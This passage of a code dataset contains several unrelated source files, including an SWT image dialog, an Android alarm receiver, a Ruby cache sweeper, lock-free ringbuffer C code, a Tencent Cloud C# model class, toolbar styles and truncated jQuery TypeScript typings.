= input;\r\n\t}\r\n\r\n\tpublic Object getInput() {\r\n\t\treturn _input;\r\n\t}\r\n\r\n\t/**\r\n\t * Create contents of the button bar.\r\n\t * \r\n\t * @param parent\r\n\t */\r\n\t@Override\r\n\tprotected void createButtonsForButtonBar(Composite parent) {\r\n\t\tcreateButton(parent, IDialogConstants.OK_ID, IDialogConstants.OK_LABEL, true);\r\n\t\tcreateButton(parent, IDialogConstants.CANCEL_ID, IDialogConstants.CANCEL_LABEL, false);\r\n\t}\r\n\r\n\t@SuppressWarnings(\"unchecked\")\r\n\t@Override\r\n\tprotected void okPressed() {\r\n\t\t_selection = ((IStructuredSelection) _listViewer.getSelection()).getFirstElement();\r\n\t\t_multiSelection = ((IStructuredSelection) _listViewer.getSelection()).toList();\r\n\t\tsuper.okPressed();\r\n\t}\r\n\r\n\tpublic Object getSelection() {\r\n\t\treturn _selection;\r\n\t}\r\n\r\n\tpublic List<Object> getMultipleSelection() {\r\n\t\treturn _multiSelection;\r\n\t}\r\n\r\n\tpublic ImagePreviewComp getPreview() {\r\n\t\treturn _imagePreviewCanvas;\r\n\t}\r\n\r\n\t@Override\r\n\tprotected Point getInitialSize() {\r\n\t\treturn new Point(720, 600);\r\n\t}\r\n\r\n\t@Override\r\n\tprotected void configureShell(Shell newShell) {\r\n\t\tsuper.configureShell(newShell);\r\n\t\tnewShell.setText(_objectName == null ? \"Image\" : _objectName);\r\n\t}\r\n\r\n\tpublic void setInitial(IResource initial) {\r\n\t\t_initial = initial;\r\n\t}\r\n\r\n}\r\n"} {"text": "/***\n Copyright (c) 2012 CommonsWare, LLC\n Licensed under the Apache License, Version 2.0 (the \"License\"); you may not\n use this file except in compliance with the License. You may obtain a copy\n of the License at http://www.apache.org/licenses/LICENSE-2.0. Unless required\n by applicable law or agreed to in writing, software distributed under the\n License is distributed on an \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS\n OF ANY KIND, either express or implied. See the License for the specific\n language governing permissions and limitations under the License.\n \n Covered in detail in the book _The Busy Coder's Guide to Android Development_\n https://commonsware.com/Android\n */\n\npackage com.commonsware.android.eventbus.greenrobot;\n\nimport android.app.AlarmManager;\nimport android.app.PendingIntent;\nimport android.content.BroadcastReceiver;\nimport android.content.Context;\nimport android.content.Intent;\nimport android.os.SystemClock;\n\npublic class PollReceiver extends BroadcastReceiver {\n private static final int PERIOD=60000; // 1 minute\n private static final int INITIAL_DELAY=5000; // 5 seconds\n\n @Override\n public void onReceive(Context ctxt, Intent i) {\n if (i.getAction() == null) {\n ScheduledService.enqueueWork(ctxt);\n }\n else {\n scheduleAlarms(ctxt);\n }\n }\n\n static void scheduleAlarms(Context ctxt) {\n AlarmManager mgr=\n (AlarmManager)ctxt.getSystemService(Context.ALARM_SERVICE);\n Intent i=new Intent(ctxt, PollReceiver.class);\n PendingIntent pi=PendingIntent.getBroadcast(ctxt, 0, i, 0);\n\n mgr.setRepeating(AlarmManager.ELAPSED_REALTIME_WAKEUP,\n SystemClock.elapsedRealtime() + INITIAL_DELAY,\n PERIOD, pi);\n\n }\n}\n"} {"text": "class CommentSweeper < ActionController::Caching::Sweeper\n include Mephisto::SweeperMethods\n observe Comment\n\n # only sweep updates, not creations\n # tagged 'lame hack'\n def before_save(record)\n @new = record.new_record?\n end\n\n def after_save(record)\n return if controller.nil? || (@new && !record.approved?)\n expire_overview_feed!\n expire_cache_for record\n end\n \n def after_destroy(record)\n return if controller.nil?\n expire_overview_feed!\n expire_cache_for record if record.approved?\n end\n \n protected\n def expire_cache_for(comment)\n pages = site.cached_pages.find_by_references(comment, comment.article)\n site.expire_cached_pages controller, \"Expired pages referenced by #{comment.class} ##{comment.id}\", pages\n end\nend"} {"text": ".so man3/rtapi_prio.3rtapi\n"} {"text": "/***** includes *****/\n#include \"lfds700_ringbuffer_internal.h\"\n\n/***** private prototypes *****/\nstatic void lfds700_ringbuffer_internal_queue_element_cleanup_callback( struct lfds700_queue_state *qs, struct lfds700_queue_element *qe, enum lfds700_misc_flag dummy_element_flag );\nstatic void lfds700_ringbuffer_internal_freelist_element_cleanup_callback( struct lfds700_freelist_state *fs, struct lfds700_freelist_element *fe );\n\n\n\n\n\n/****************************************************************************/\nvoid lfds700_ringbuffer_cleanup( struct lfds700_ringbuffer_state *rs,\n void (*element_cleanup_callback)(struct lfds700_ringbuffer_state *rs, void *key, void *value, enum lfds700_misc_flag unread_flag) )\n{\n LFDS700_PAL_ASSERT( rs != NULL );\n // TRD : element_cleanup_callback can be NULL\n\n if( element_cleanup_callback != NULL )\n {\n rs->element_cleanup_callback = element_cleanup_callback;\n lfds700_queue_cleanup( &rs->qs, lfds700_ringbuffer_internal_queue_element_cleanup_callback );\n lfds700_freelist_cleanup( &rs->fs, lfds700_ringbuffer_internal_freelist_element_cleanup_callback );\n }\n\n return;\n}\n\n\n\n\n\n/****************************************************************************/\n#pragma warning( disable : 4100 )\n\nstatic void lfds700_ringbuffer_internal_queue_element_cleanup_callback( struct lfds700_queue_state *qs, struct lfds700_queue_element *qe, enum lfds700_misc_flag dummy_element_flag )\n{\n struct lfds700_ringbuffer_element\n *re;\n\n struct lfds700_ringbuffer_state\n *rs;\n\n LFDS700_PAL_ASSERT( qs != NULL );\n LFDS700_PAL_ASSERT( qe != NULL );\n // TRD : dummy_element can be any value in its range\n\n rs = (struct lfds700_ringbuffer_state *) LFDS700_QUEUE_GET_USER_STATE_FROM_STATE( *qs );\n re = (struct lfds700_ringbuffer_element *) LFDS700_QUEUE_GET_VALUE_FROM_ELEMENT( *qe );\n\n if( dummy_element_flag == LFDS700_MISC_FLAG_LOWERED )\n rs->element_cleanup_callback( rs, re->key, re->value, LFDS700_MISC_FLAG_RAISED );\n\n return;\n}\n\n#pragma warning( default : 4100 )\n\n\n\n\n\n/****************************************************************************/\n#pragma warning( disable : 4100 )\n\nstatic void lfds700_ringbuffer_internal_freelist_element_cleanup_callback( struct lfds700_freelist_state *fs, struct lfds700_freelist_element *fe )\n{\n struct lfds700_ringbuffer_element\n *re;\n\n struct lfds700_ringbuffer_state\n *rs;\n\n LFDS700_PAL_ASSERT( fs != NULL );\n LFDS700_PAL_ASSERT( fe != NULL );\n\n rs = (struct lfds700_ringbuffer_state *) LFDS700_FREELIST_GET_USER_STATE_FROM_STATE( *fs );\n re = (struct lfds700_ringbuffer_element *) LFDS700_FREELIST_GET_VALUE_FROM_ELEMENT( *fe );\n\n rs->element_cleanup_callback( rs, re->key, re->value, LFDS700_MISC_FLAG_LOWERED );\n\n return;\n}\n\n#pragma warning( default : 4100 )\n\n"} {"text": "/*\n * Copyright (c) 2018 THL A29 Limited, a Tencent company. All Rights Reserved.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing,\n * software distributed under the License is distributed on an\n * \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\n * KIND, either express or implied. See the License for the\n * specific language governing permissions and limitations\n * under the License.\n */\nusing Newtonsoft.Json;\nusing System;\nusing System.Collections.Generic;\n\nnamespace TencentCloud.Common\n{\n public abstract class AbstractModel\n {\n internal abstract void ToMap(Dictionary<string, string> map, string prefix);\n\n protected void SetParamSimple<V>(Dictionary<string, string> map, String key, V value)\n {\n if ((value!= null) && !value.Equals(default(V)) )\n {\n key = key.Substring(0, 1).ToUpper() + key.Substring(1);\n key = key.Replace(\"_\", \".\");\n map.Add(key, value.ToString());\n }\n }\n\n protected void SetParamArraySimple<V>(Dictionary<string, string> map, string prefix, V[] array)\n {\n if (array != null)\n {\n for (int i = 0; i < array.Length; i++)\n {\n this.SetParamSimple<V>(map, prefix + i, array[i]);\n }\n }\n }\n\n protected void SetParamObj<V>(Dictionary<string, string> map, String prefix, V obj) where V: AbstractModel\n {\n if (obj != null)\n {\n obj.ToMap(map, prefix);\n }\n }\n\n protected void SetParamArrayObj<V>(Dictionary<String, String> map, String prefix, V[] array) where V : AbstractModel\n {\n if (array != null)\n {\n for (int i = 0; i < array.Length; i++)\n {\n this.SetParamObj<V>(map, prefix + i + \".\", array[i]);\n }\n }\n }\n\n /// <summary>\n /// Serialize an obect of AbstractModel into JSON string.\n /// </summary>\n /// <typeparam name=\"V\">A class inherited from AbstrctModel.</typeparam>\n /// <param name=\"obj\">An object of the class.</param>\n /// <returns>JSON formatted string.</returns>\n public static string ToJsonString<V>(V obj) where V: AbstractModel\n {\n return JsonConvert.SerializeObject(obj);\n }\n\n /// <summary>\n /// Deserialize JSON formatted string into an object of a class inherited from AbstractModel.\n /// </summary>\n /// <typeparam name=\"V\">A class inherited from AbstrctModel.</typeparam>\n /// <param name=\"json\">JSON formatted string.</param>\n /// <returns>An object of the class.</returns>\n public static V FromJsonString<V>(string json) \n {\n return JsonConvert.DeserializeObject<V>(json);\n }\n }\n}\n"} {"text": "{\n\t\"container\": {\n\t\t\"background-color\": \"#fff\",\n\t\t\"padding-top\": \"6px\",\n\t\t\"padding-bottom\": \"1px\",\n\t\t\"padding-left\": \"10px\",\n\t\t\"padding-right\": \"2px\",\n\t\t\"word-wrap\" : \"normal\",\n\t\t\"word-break\" : \"keep-all\",\n\t\t\"cursor\": \"pointer\",\n\t\t\"overflow\": \"hidden\",\n\t\t\"height\": \"auto\",\n\t\t\"display\":\"block\",\n\t\t\"font-size\": \"14px\",\n\t\t\"border-top\": \"2px solid #cc3d3d\"\n\t},\n\t\"toolbarSeparator\": {\n\t\t\"display\":\"block\",\n\t\t\"float\": \"left\",\n\t\t\"margin-bottom\": \"5px\",\n\t\t\"margin-top\": \"5px\",\n\t\t\"height\": \"22px\",\n\t\t\"width\": \"1px\",\n\t\t\"background-color\": \"#888888\",\n\t\t\"border-right\": \"1px solid #FFFFFF\",\n\t\t\"overflow\": \"hidden\"\n\t},\n\n\t\"button\": {\n\t\t\"display\":\"block\",\n\t\t\"position\": \"static\",\n\t\t\"float\": \"left\",\n\t\t\"border\": \"1px solid #fff\",\n\t \t\"color\" : \"inherit\",\n\t\t\"background-color\": \"#fff\",\n\t\t\"height\": \"30px\",\n\t\t\"margin-right\": \"8px\",\n\t\t\"padding-left\": \"2px\",\n\t\t\"padding-right\": \"2px\",\n\t\t\"cursor\": \"pointer\",\n\t\t\"border-radius\": \"5px\"\n\t},\n\t\"buttonImgDiv\": {\n\t\t\"display\":\"block\",\n\t\t\"float\": \"left\",\n\t\t\"padding-top\": \"7px\",\n\t\t\"padding-bottom\": \"1px\",\n\t\t\"padding-left\": \"1px\",\n\t\t\"padding-right\": \"1px\",\n\t\t\"cursor\": \"pointer\"\n\t},\n\t\"buttonImg\": {\n\t\t\"height\": \"16px\",\n\t\t\"width\": \"16px\",\n\t\t\"cursor\": \"pointer\",\n\t\t\"margin-top\": \"0px\"\n\t},\n\t\"buttonTextDiv\": {\n\t\t\"display\":\"block\",\n\t\t\"float\": \"left\",\n\t\t\"height\": \"30px\",\n\t\t\"padding-left\": \"2px\",\n\t\t\"padding-right\": \"2px\",\n\t\t\"line-height\": \"30px\",\n\t\t\"cursor\": \"pointer\"\n\t},\n\n\t\"buttonDisable\": {\n\t\t\"color\": \"#999\"\n\t},\n\t\"buttonImgDivDisable\": {\n\t\t\"color\": \"#999\"\n\t},\n\t\"buttonTextDivDisable\": {\n\t\t\"color\": \"#999\"\n\t},\n\n\t\"buttonOver\": {\n\t \"color\" : \"inherit\",\n\t\t\"background-color\": \"#e7e7e7\"\n\t},\n\t\"buttonOut\": {\n\t \"color\" : \"inherit\",\n\t\t\"background-color\": \"#fff\"\n\t},\n\t\"buttonDown\": {\n\t\t\"background-color\": \"#f0f0f0\"\n\t},\n\t\"buttonUp\": {\n\t\t\"background-color\": \"#e7e7e7\"\n\t},\n\t\"toolbarButtonDownNode\": {\n\t\t\"display\":\"block\",\n\t\t\"float\": \"left\",\n\t\t\"padding-left\": \"2px\",\n\t\t\"padding-right\": \"2px\",\n\t\t\"padding-top\": \"5px\",\n\t\t\"height\": \"18px\",\n\t\t\"color\": \"#ff0000\",\n\t\t\"cursor\": \"pointer\"\n\t}\n}"} {"text": "/* *****************************************************************************\nCopyright (c) Microsoft Corporation. All rights reserved. \nLicensed under the Apache License, Version 2.0 (the \"License\"); you may not use\nthis file except in compliance with the License. You may obtain a copy of the\nLicense at http://www.apache.org/licenses/LICENSE-2.0 \n \nTHIS CODE IS PROVIDED ON AN *AS IS* BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\nKIND, EITHER EXPRESS OR IMPLIED, INCLUDING WITHOUT LIMITATION ANY IMPLIED\nWARRANTIES OR CONDITIONS OF TITLE, FITNESS FOR A PARTICULAR PURPOSE, \nMERCHANTABLITY OR NON-INFRINGEMENT. \n \nSee the Apache Version 2.0 License for specific language governing permissions\nand limitations under the License.\n***************************************************************************** */\n\n// Typing for the jQuery library, version 1.10\n\n/*\n Interface for the AJAX setting that will configure the AJAX request \n*/\ninterface JQueryAjaxSettings {\n accepts?: any;\n async?: boolean;\n beforeSend? (jqXHR: JQueryXHR, settings: JQueryAjaxSettings): any;\n cache?: boolean;\n complete? (jqXHR: JQueryXHR, textStatus: string): any;\n contents?: { [key: string]: any; };\n contentType?: any;\n context?: any;\n converters?: { [key: string]: any; };\n crossDomain?: boolean;\n data?: any;\n dataFilter? (data: any, ty: any): any;\n dataType?: string;\n error? (jqXHR: JQueryXHR, textStatus: string, errorThrow: string): any;\n global?: boolean;\n headers?: { [key: string]: any; };\n ifModified?: boolean;\n isLocal?: boolean;\n jsonp?: string;\n jsonpCallback?: any;\n mimeType?: string;\n password?: string;\n processData?: boolean;\n scriptCharset?: string;\n statusCode?: { [key: string]: any; };\n success? (data: any, textStatus: string, jqXHR: JQueryXHR): any;\n timeout?: number;\n traditional?: boolean;\n type?: string;\n url?: string;\n username?: string;\n xhr?: any;\n xhrFields?: { [key: string]: any; };\n}\n\n/*\n Interface for the jqXHR object\n*/\ninterface JQueryXHR extends XMLHttpRequest {\n overrideMimeType(): any;\n}\n\n/*\n Interface for the JQuery callback\n*/\ninterface JQueryCallback {\n add(...callbacks: any[]): any;\n disable(): any;\n empty(): any;\n fire(...arguments: any[]): any;\n fired(): boolean;\n fireWith(context: any, ...args: any[]): any;\n has(callback: any): boolean;\n lock(): any;\n locked(): boolean;\n removed(...callbacks: any[]): any;\n}\n\n/*\n Interface for the JQuery promise, part of callbacks\n*/\ninterface JQueryPromise {\n always(...alwaysCallbacks: any[]): JQueryDeferred;\n done(...doneCallbacks: any[]): JQueryDeferred;\n fail(...failCallbacks: any[]): JQueryDeferred;\n pipe(doneFilter?: (x: any) => any, failFilter?: (x: any) => any, progressFilter?: (x: any) => any): JQueryPromise;\n then(doneCallbacks: any, failCallbacks: any, progressCallbacks?: any): JQueryDeferred;\n}\n\n/*\n Interface for the JQuery deferred, part of callbacks\n*/\ninterface JQueryDeferred extends JQueryPromise {\n notify(...args: any[]): JQueryDeferred;\n notifyWith(context: any, ...args: any[]): JQueryDeferred;\n\n progress(...progressCallbacks: any[]): JQueryDeferred;\n reject(...args: any[]): JQueryDeferred;\n rejectWith(context: any, ...args: any[]): JQueryDeferred;\n resolve(...args: any[]): JQueryDeferred;\n resolveWith(context: any, ...args: any[]): JQueryDeferred;\n state(): string;\n then(doneCallbacks: any, failCallbacks?: any, progressCallbacks?: any): JQueryDeferred;\n}\n\n/*\n Interface of the JQuery extension of the W3C event object\n*/\ninterface JQueryEventObject extends Event {\n data: any;\n delegateTarget: Element;\n isDefaultPrevented(): boolean;\n isImmediatePropogationStopped(): boolean;\n isPropogationStopped(): boolean;\n namespace: string;\n preventDefault(): any;\n relatedTarget: Element;\n result: any;\n stopImmediatePropagation(): void;\n stopPropagation(): void;\n pageX: number;\n pageY: number;\n which: number;\n metaKey: any;\n}\n\n/*\n Collection of properties of the current browser\n*/\ninterface JQueryBrowserInfo {\n safari: boolean;\n opera: boolean;\n msie: boolean;\n mozilla: boolean;\n version: string;\n}\n\ninterface JQuerySupport {\n ajax?: boolean;\n boxModel?: boolean;\n changeBubbles?: boolean;\n checkClone?: boolean;\n checkOn?: boolean;\n cors?: boolean;\n cssFloat?: boolean;\n hrefNormalized?: boolean;\n htmlSerialize?: boolean;\n leadingWhitespace?: boolean;\n noCloneChecked?: boolean;\n noCloneEvent?: boolean;\n opacity?: boolean;\n optDisabled?: boolean;\n optSelected?: boolean;\n scriptEval? (): boolean;\n style?: boolean;\n submitBubbles?: boolean;\n tbody?: boolean;\n}\n\ninterface JQueryTransport {\n send(headers: { [index: string]: string; }, completeCallback: (status: number, statusText: string, responses: { [dataType: string]: any; }, headers: string) => void): void;\n abort(): void;\n}\n\n/*\n Static members of jQuery (those on $ and jQuery themselves)\n*/\ninterface JQueryStatic {\n\n // AJAX\n ajax(settings: JQueryAjaxSettings): JQueryXHR;\n ajax(url: string, settings: JQueryAjaxSettings): JQueryXHR;\n\n ajaxPrefilter(handler: (opts: any, originalOpts: any, jqXHR: JQueryXHR) => any): any;\n ajaxPrefilter(dataTypes: string, handler: (opts: any, originalOpts: any, jqXHR: JQueryXHR) => any): any;\n\n ajaxSetup(options: any): void;\n ajaxTransport(dataType: string, handler: (options: JQueryAjaxSettings, originalOptions: JQueryAjaxSettings, jqXHR: JQueryXHR) => JQueryTransport): void;\n\n get(url: string, data?: any, success?: any, dataType?: any): JQueryXHR;\n getJSON(url: string, data?: any, success?: any): JQueryXHR;\n getScript(url: string, success?: any): JQueryXHR;\n\n param(obj: any): string;\n param(obj: any, traditional: boolean): string;\n\n post(url: string, data?: any, success?: any, dataType?: any): JQueryXHR;\n\n // Callbacks\n Callbacks(flags: any): JQueryCallback;\n\n // Core\n holdReady(hold: boolean): any;\n\n (): JQuery;\n (selector: string, context?: any): JQuery;\n (element: Element): JQuery;\n (elementArray: Element[]): JQuery;\n (object: JQuery): JQuery;\n (func: Function): JQuery;\n (object: {}): JQuery;\n\n noConflict(removeAll?: boolean): Object;\n\n when(...deferreds: any[]): JQueryPromise;\n\n // CSS\n css(e: any, propertyName: string, value?: any): any;\n css(e: any, propertyName: any, value?: any): any;\n cssHooks: { [key: string]: any; };\n\n // Data\n data(element: Element, key: string, value: any): Object;\n\n dequeue(element: Element, queueName?: string): any;\n\n hasData(element: Element): boolean;\n\n queue(element: Element, queueName?: string): any[];\n queue(element: Element, queueName: string, newQueueOrCallback: any): JQuery;\n\n removeData(element: Element, name?: string): JQuery;\n\n // Deferred\n Deferred(beforeStart?: (deferred: JQueryDeferred) => any): JQueryDeferred;\n\n // Effects\n fx: { tick: () => void; interval: number; stop: () => void; speeds: { slow: number; fast: number; }; off: boolean; step: any; };\n\n // Events\n proxy(func: Function, context: any): any;\n proxy(context: any, name: string): any;\n\n // Internals\n error(message: any): void;\n\n // Miscellaneous\n expr: any;\n fn: any; //TODO: Decide how we want to type this\n isReady: boolean;\n\n // Properties\n browser: JQueryBrowserInfo;\n support: JQuerySupport;\n\n // Utilities\n contains(container: Element, contained: Element): boolean;\n\n each(collection: any, callback: (indexInArray: any, valueOfElement: any) => any): any;\n\n extend(deep: boolean, target: any, ...objs: any[]): Object;\n extend(target: any, ...objs: any[]): Object;\n\n globalEval(code: string): any;\n\n grep(array: any[], func: any, invert: boolean): any[];\n\n inArray(value: any, array: any[], fromIndex?: number): number;\n\n isArray(obj: any): boolean;\n isEmptyObject(obj: any): boolean;\n isFunction(obj: any): boolean;\n isNumeric(value: any): boolean;\n isPlainObject(obj: any): boolean;\n isWindow(obj: any): boolean;\n isXMLDoc(node: Node): boolean;\n\n makeArray(obj: any): any[];\n\n map(array: any[], callback: (elementOfArray: any, indexInArray: any) => any): any[];\n\n merge(first: any[], second: any[]): any[];\n\n noop(): any;\n\n now(): number;\n\n parseHTML(data: string, context?: Element, keepScripts?: boolean): any[];\n parseJSON(json: string): any;\n\n //FIXME: This should return an XMLDocument\n parseXML(data: string): any;\n\n queue(element: Element, queueName: string, newQueue: any[]): JQuery;\n\n trim(str: string): string;\n\n type(obj: any): string;\n\n unique(arr: any[]): any[];\n}\n\n/*\n The jQuery instance members\n*/\ninterface JQuery {\n // AJAX\n ajaxComplete(handler: any): JQuery;\n ajaxError(handler: (evt: any, xhr: any, opts: any) => any): JQuery;\n ajaxSend(handler: (evt: any, xhr: any, opts: any) => any): JQuery;\n ajaxStart(handler: () => any): JQuery;\n ajaxStop(handler: () => any): JQuery;\n ajaxSuccess(handler: (evt: any, xml: any, opts: any) => any): JQuery;\n\n serialize(): string;\n serializeArray(): any[];\n\n // Attributes\n addClass(classNames: string): JQuery;\n addClass(func: (index: any, currentClass: any) => JQuery): JQuery;\n\n attr(attributeName: string): string;\n attr(attributeName: string, func: (index: any, attr: any) => any): JQuery;\n attr(attributeName: string, value: any): JQuery;\n attr(map: { [key: string]: any; }): JQuery;\n\n hasClass(className: string): boolean;\n\n html(): string;\n html(htmlString: string): JQuery;\n\n prop(propertyName: string): any;\n prop(propertyName: string, func: (index: any, oldPropertyValue: any) => any): JQuery;\n prop(propertyName: string, value: any): JQuery;\n prop(map: any): JQuery;\n\n removeAttr(attributeName: any): JQuery;\n\n removeClass(func: (index: any, cls: any) => any): JQuery;\n removeClass(className?: string): JQuery;\n\n removeProp(propertyName: any): JQuery;\n\n toggleClass(func: (index: any, cls: any, swtch: any) => any): JQuery;\n toggleClass(swtch?: boolean): JQuery;\n toggleClass(className: any, swtch?: boolean): JQuery;\n\n val(): any;\n val(value: string[]): JQuery;\n val(value: string): JQuery;\n val(func: (index: any, value: any) => any): JQuery;\n\n // CSS\n css(propertyNames: any[]): string;\n css(propertyName: string): string;\n css(propertyName: string, value: any): JQuery;\n css(propertyName: any, value?: any): JQuery;\n\n height(): number;\n height(value: number): JQuery;\n height(func: (index: any, height: any) => any): JQuery;\n\n innerHeight(): number;\n innerWidth(): number;\n\n offset(): { top: number; left: number; };\n offset(func: (index: any, coords: any) => any): JQuery;\n offset(coordinates: any): JQuery;\n\n outerHeight(includeMargin?: boolean): number;\n outerWidth(includeMargin?: boolean): number;\n\n position(): { top: number; left: number; };\n\n scrollLeft(): number;\n scrollLeft(value: number): JQuery;\n\n scrollTop(): number;\n scrollTop(value: number): JQuery;\n\n width(): number;\n width(value: number): JQuery;\n width(func: (index: any, height: any) => any): JQuery;\n\n // Data\n clearQueue(queueName?: string): JQuery;\n\n data(key: string, value: any): JQuery;\n data(obj: { [key: string]: any; }): JQuery;\n data(key?: string): any;\n\n dequeue(queueName?: string): JQuery;\n\n queue(queueName?: string): any[];\n queue(queueName: string, newQueueOrCallback: any): JQuery;\n queue(newQueueOrCallback: any): JQuery;\n\n removeData(nameOrList?: any): JQuery;\n\n // Deferred\n promise(type?: any, target?: any): JQueryPromise;\n\n // Effects\n animate(properties: any, options: { duration?: any; easing?: string; complete?: Function; step?: Function; queue?: boolean; specialEasing?: any; }): JQuery;\n animate(properties: any, duration?: any, easing?: \"linear\", complete?: Function): JQuery;\n animate(properties: any, duration?: any, easing?: \"swing\", complete?: Function): JQuery;\n animate(properties: any, duration?: any, easing?: string, complete?: Function): JQuery;\n\n delay(duration: number, queueName?: string): JQuery;\n\n fadeIn(duration?: any, easing?: \"linear\", complete?: Function): JQuery;\n fadeIn(duration?: any, easing?: \"swing\", complete?: Function): JQuery;\n fadeIn(duration?: any, easing?: string, complete?: Function): JQuery;\n fadeIn(duration?: any, complete?: Function): JQuery;\n\n\n fadeOut(duration?: any, easing?: \"linear\", complete?: Function): JQuery;\n fadeOut(duration?: any, easing?: \"swing\", complete?: Function): JQuery;\n fadeOut(duration?: any, easing?: string, complete?: Function): JQuery;\n fadeOut(duration?: any, complete?: any): JQuery;\n\n fadeTo(duration: any, opacity: number, easing?: \"linear\", complete?: Function): JQuery;\n fadeTo(duration: any, opacity: number, easing?: \"swing\", complete?: Function): JQuery;\n fadeTo(duration: any, opacity: number, easing?: string, complete?: Function): JQuery;\n fadeTo(duration: any, opacity: number, complete?: Function): JQuery;\n\n fadeToggle(duration?: any, easing?: \"linear\", complete?: Function): JQuery;\n fadeToggle(duration?: any, easing?: \"swing\", complete?: Function): JQuery;\n fadeToggle(duration?: any, easing?: string, complete?: Function): JQuery;\n\n finish(queue?: string): JQuery;\n\n hide(duration?: any, easing?: \"linear\", callback?: Function): JQuery;\n hide(duration?: any, easing?: \"swing\", callback?: Function): JQuery;\n hide(duration?: any, easing?: string, callback?: Function): JQuery;\n hide(duration?: any, callback?: Function): JQuery;\n\n show(duration?: any, easing?: \"linear\", complete?: Function): JQuery;\n show(duration?: any, easing?: \"swing\", complete?: Function): JQuery;\n show(duration?: any, easing?: string, complete?: Function): JQuery;\n show(duration?: any, complete?: Function): JQuery;\n\n slideDown(duration?: any, easing?: \"linear\", complete?: Function): JQuery;\n slideDown(duration?: any, easing?: \"swing\", complete?: Function): JQuery;\n slideDown(duration?: any, easing?: string, complete?: Function): JQuery;\n slideDown(duration?: any, complete?: Function): JQuery;\n\n slideToggle(duration?: any, easing?: \"linear\", complete?: Function): JQuery;\n slideToggle(duration?: any, easing?: \"swing\", complete?: Function): JQuery;\n slideToggle(duration?: any, easing?: string, complete?: Function): JQuery;\n slideToggle(duration?: any, complete?: Function): JQuery;\n\n slideUp(duration?: any, easing?: \"linear\", complete?: Function): JQuery;\n slideUp(duration?: any, easing?: \"swing\", complete?: Function): JQuery;\n slideUp(duration?: any, easing?: string, complete?: Function): JQuery;\n slideUp(duration?: any, complete?: Function): JQuery;\n\n stop(clearQueue?: boolean, jumpToEnd?: boolean): JQuery;\n stop(queue?: any, clearQueue?: boolean, jumpToEnd?: boolean): JQuery;\n\n toggle(showOrHide: boolean): JQuery;\n toggle(duration?: any, easing?: \"linear\", complete?: Function): JQuery;\n toggle(duration?: any, easing?: \"swing\", complete?: Function): JQuery;\n toggle(duration?: any, easing?: string, complete?: Function): JQuery;\n toggle(duration?: any, complete?: Function): JQuery;\n\n // Events\n bind(eventType: string, preventBubble: boolean): JQuery;\n bind(eventType: string, eventData?: any, handler?: (eventObject: JQueryEventObject) => any): JQuery;\n bind(eventType: string, eventData: any, preventBubble: boolean): JQuery;\n bind(...events: any[]): JQuery;\n\n blur(handler: (eventObject: JQueryEventObject) => any): JQuery;\n blur(eventData?: any, handler?: (eventObject: JQueryEventObject) => any): JQuery;\n\n change(handler: (eventObject: JQueryEventObject) => any): JQuery;\n change(eventData?: any, handler?: (eventObject: JQueryEventObject) => any): JQuery;\n\n click(handler: (eventObject: JQueryEventObject) => any): JQuery;\n click(eventData?: any, handler?: (eventObject: JQueryEventObject) => any): JQuery;\n\n dblclick(handler: (eventObject: JQueryEventObject) => any): JQuery;\n dblclick(eventData?: any, handler?: (eventObject: JQueryEventObject) => any): JQuery;\n\n delegate(selector: any, eventType: string, handler: (eventObject: JQueryEventObject) => any): JQuery;\n\n focus(handler: (eventObject: JQueryEventObject) => any): JQuery;\n focus(eventData?: any, handler?: (eventObject: JQueryEventObject) => any): JQuery;\n\n focusin(handler: (eventObject: JQueryEventObject) => any): JQuery;\n focusin(eventData: any, handler: (eventObject: JQueryEventObject) => any): JQuery;\n\n focusout(handler: (eventObject: JQueryEventObject) => any): JQuery;\n focusout(eventData: any, handler: (eventObject: JQueryEventObject) => any): JQuery;\n\n hover(handlerIn: (eventObject: JQueryEventObject) => any, handlerOut: (eventObject: JQueryEventObject) => any): JQuery;\n hover(handlerInOut: (eventObject: JQueryEventObject) => any): JQuery;\n\n keydown(handler: (eventObject: JQueryEventObject) => any): JQuery;\n keydown(eventData?: any, handler?: (eventObject: JQueryEventObject) => any): JQuery;\n\n keypress(handler: (eventObject: JQueryEventObject) => any): JQuery;\n keypress(eventData?: any, handler?: (eventObject: JQueryEventObject) => any): JQuery;\n\n keyup(handler: (eventObject: JQueryEventObject) => any): JQuery;\n keyup(eventData?: any, handler?: (eventObject: JQueryEventObject) => any): JQuery;\n\n mousedown(handler: (eventObject: JQueryEventObject) => any): JQuery;\n mousedown(eventData: any, handler: (eventObject: JQueryEventObject) => any): JQuery;\n\n mouseevent(handler: (eventObject: JQueryEventObject) => any): JQuery;\n mouseevent(eventData: any, handler: (eventObject: JQueryEventObject) => any): JQuery;\n\n mouseenter(handler: (eventObject: JQueryEventObject) => any): JQuery;\n mouseenter(eventData: any, handler: (eventObject: JQueryEventObject) => any): JQuery;\n\n mouseleave(handler: (eventObject: JQueryEventObject) => any): JQuery;\n mouseleave(eventData: any, handler: (eventObject: JQueryEventObject) => any): JQuery;\n\n mousemove(handler: (eventObject: JQueryEventObject) => any): JQuery;\n mousemove(eventData: any, handler: (eventObject: JQueryEventObject) => any): JQuery;\n\n mouseout(handler: (eventObject: JQueryEventObject) => any): JQuery;\n mouseout(eventData: any, handler: (eventObject: JQueryEventObject) => any): JQuery;\n\n mouseover(handler: (eventObject: JQueryEventObject) => any): JQuery;\n mouseover(eventData: any, handler: (eventObject: JQueryEventObject) => any): JQuery;\n\n mouseup(handler: (eventObject: JQueryEventObject) => any): JQuery;\n mouseup(eventData: any, handler: (eventObject: JQueryEventObject) => any): JQuery;\n\n off(events?: string, selector?: any, handler?: (eventObject: JQueryEventObject) => any): JQuery;\n off(eventsMap: { [key: string]: any; }, selector?: any): JQuery;\n\n on(events: string, selector?: any, data?: any, handler?: (eventObject: JQueryEventObject) => any): JQuery;\n on(eventsMap: { [key: string]: any; }, selector?: any, data?: any): JQuery;\n\n one(events: string, selector?: any, data?: any, handler?: (eventObject: JQueryEventObject) => any): JQuery;\n one(eventsMap: { [key: string]: any; }, selector?: any, data?: any): JQuery;\n\n ready(handler: any): JQuery;\n\n resize(handler: (eventObject: JQueryEventObject) => any): JQuery;\n resize(eventData?: any, handler?: (eventObject: JQueryEventObject) => any): 